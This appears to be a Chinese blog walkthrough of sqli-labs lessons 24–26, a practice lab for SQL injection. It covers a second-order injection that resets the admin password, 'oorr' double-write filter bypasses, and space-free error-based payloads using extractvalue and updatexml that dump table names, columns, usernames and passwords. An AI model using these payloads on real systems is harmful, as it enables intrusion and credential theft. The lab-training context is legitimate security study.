sqli-labs 24到26
第24题
这道题是一个二次注入,二次注入一般用于白盒测试,也就是需要看源代码寻找漏洞
我们来看创建新用户的代码:
可以看到先对username和pass进行了转义之后插入用户表。这就导致了二次注入的漏洞,
因为经过转义的信息插入之后变成我们想要的信息,到时候可以利用这些信息进行sql注入。
从上面的代码可以看到,对current_password、re_password、password都进行了特殊字符转义,只有username没有转义,因此再username上注入。
大致思想是这样:
创建一个名为admin'#的用户,修改密码的时候#会将后面的注释。
例如:
查询后台发现多了一条。
在页面上改密码为123456
可见我们的想法没有错
因此我们的注入就是在username上添加我们的sql语句:
admin' and extractvalue(1,concat(0x7e,database()))#
结果说username长度超出。。。
难道不是这样做?
看了大佬们的回答我才知道理解错了人家题目的意思呜呜呜,
这里注意如果我们在username之后就闭合并注释
那么语句就会变成
update users set password='$pass' where username-'admin'#
所以如果我们用admin'#作为注册的用户名,那么相当于改了admin的秘密,原来如此。
重新试试
这里看似改了admin'#的密码,实则改了admin的密码。
这样就可以登录原来不知道密码的账户了。
第25题
这题简单,只对and和or进行了过滤并且过滤为空。
双写绕过:
因为过滤了or为空,所以我们可以写oorr,此时中间or会被过滤,因为过滤后为or
http://localhost/sqli-labs-php7-master/Less-25/?id=1'oorr 1=1-- -
http://localhost/sqli-labs-php7-master/Less-25/?id=1'oorr 1=1 limit 1,1-- -
从而爆出所有用户名密码。
第26题
这道题是对空格和注释进行了过滤。
可以发现对/**/都过滤了。
%20也过滤了。
通常对于空格的过滤可以采取/**/、%a,%b0、%09等尝试绕过,但这道题所有这些全都过滤掉了
因此只能不用空格
sql语句:
http://localhost/sqli-labs-php7-master/Less-26/?id='||extractvalue(1,concat(0,database()))||'1'='1
这时候有人要问了,database()查询可以不用括号,但其他表名库名怎么查?
上有政策下有对策
http://localhost/sqli-labs-php7-master/Less-26/?id='||extractvalue(1,concat(0,select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')))||'1'='1
找了好久都没找到错误,才发现是information里的or被过滤了。。。
?id='||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1
爆字段名
http://localhost/sqli-labs-php7-master/Less-26?id='||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))))||'1'='1
显然这个不是想要的字段名,因为users表在其他数据库里也有,因此条件还得加上and table_schema='security',这里and被过滤,可以用%26%26绕过
?id='||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'%26%26table_schema='security'))))||'1'='1
用户名密码:
?id='||extractvalue(1,concat(0x7e,(select(group_concat(username))from(security.users))))||'1'='1
或者通过成对的方式输出:
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1